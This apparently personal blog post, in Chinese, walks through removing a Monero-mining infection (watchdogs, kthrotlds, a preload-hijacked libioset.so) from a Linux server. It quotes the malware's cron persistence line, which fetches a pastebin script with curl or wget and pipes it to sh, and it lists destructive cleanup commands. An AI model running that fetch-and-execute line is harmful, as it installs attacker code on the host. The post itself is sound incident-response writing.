发布时间:2019-03-01作者:laosun阅读(6411)
服务器感染挖矿病毒(门罗币挖矿病毒), 经过近2个小时的紧急排查, 已基本搞定了该病毒。传播途径基本可以确认是jenkins自动化部署工具。
半年前自己的服务器曾经遭受了一次挖矿攻击,那次是因为redis安装完没有设置密码。导致了内网攻击,加入了挖矿病毒(minerd),CPU 占用100%。其实那次只要找到进程ID,kill掉,然后将执行文件删掉即可解决。
言归正传(首先在发表这篇文章的时候,挖矿病毒已经基本干掉,搞定了...)
这几天阿里一直给推送邮件,说由于被检测到对外攻击,已阻断该服务器对其它服务器端口,可是登录服务器也没发现有任何异常,但是报警邮件还一直有,百思不得其解。使用top等命令查看也没有CPU占用很高的进程
后来经过我们公司运维同事的提醒,说进程可能隐藏了,到阿里云监控查看了一下,如下图所示:
然后点击监控图表进去后,点击进程监控,如下所示:
由上图可得知,自己的服务器确实CPU占满了,并且有挖矿病毒的存在,进程号:9691、进程名:ksofttirqds。
那为什么使用ps -ef无法查询到的原因,或许是拦截、修改了你的ps、或者top指令等操作。所以无法查询到。
1:脚本分析:
使用 crontab -l 查询任务项,如果出现以下所示的一句话,那么恭喜你,中招了:
该病毒会每15分钟从pastebin上下载shell脚本并执行(文件内容为经过base64编码处理):
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -
不要想着执行crontab -e,进去后删除,然后保存退出。这方法压根不行,因为还会继续添加。kill掉进程,过一会也会继续出现,当然是用top等指令肯定是看不到的。
2. 使用busybox代替系统命令(系统命令已不可信, 操作优先采用busybox)
比如:busybox top 或者 busybox ps -ef
此busybox为静态编译版, 不依赖so库, 系统的ls等命令已被通过so库的preload机制被病毒劫持, ls会导致/etc/cron.d/root文件被刷写为病毒定时执行命令。
3. 解决方案
先关掉定时crontab。
service crond stop # 关掉定时 chkconfig crond off #关掉定时自启动
写hosts, 屏蔽病毒脚本下载
busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts
删除,创建,并锁定 crontab相关文件
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
然后删除cron.d目录的其他文件(备份重要的crontab)
busybox rm -rf /etc/cron.d/* #如果提示没权限(请是用chattr -i /etc/cron.d/root 进行解锁操作)
删除病毒相关执行文件和启动脚本
busybox rm /sbin/watchdogs busybox rm /usr/sbin/watchdogs busybox rm /etc/init.d/watchdogs busybox rm /usr/sbin/kthrotlds
删除病毒进程
busybox pkill watchdogs busybox pkill ksoftirqds busybox pkill kthrotlds #很重要的一个进程,吃了它的亏,怎么都删不掉的罪魁祸首
删除被preload的so库
busybox rm /usr/local/lib/libioset.so busybox rm /usr/local/lib/libcset.so # 这个路径其实就是ld.so.preload中的内容,真实的地址,很重要 busybox rm /etc/ld.so.preload busybox rm /etc/ld.so.cache
然后重启服务器
busybox top # 查看系统负载 crontab -l # 查看是否还有异常任务
完整的执行脚本:
busybox pkill watchdogs busybox pkill ksoftirqds busybox pkill kthrotlds busybox rm /usr/local/lib/libioset.so busybox rm /usr/local/lib/libcset.so busybox rm /etc/ld.so.preload busybox rm /etc/ld.so.cache busybox rm -rf /etc/cron.d/* busybox rm /sbin/watchdogs busybox rm /usr/sbin/watchdogs busybox rm /etc/init.d/watchdogs busybox rm /usr/sbin/kthrotlds busybox rm /tmp/.lsdpid busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root busybox find / -type f -name '*watchdogs*'|busybox xargs rm -f busybox find / -type f -name '*ksoftirqds*'|busybox xargs rm -f
执行完成之后,输入crontab -e ,将里边的内容删除,保存退出,重启服务器。
这2个小时的斗智斗勇最是精彩,过程最重要。
说实话,这个病毒还是挺厉害的。
推荐另一篇文章:https://www.360zhijia.com/anquan/445529.html
不过话说这次被植入挖矿应该是由于jenkins的插件漏洞导致
版权属于: 技术客
原文地址: https://www.sunjs.com/article/detail/62c7ba45975946f89b3a1cd574a4856e.html
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。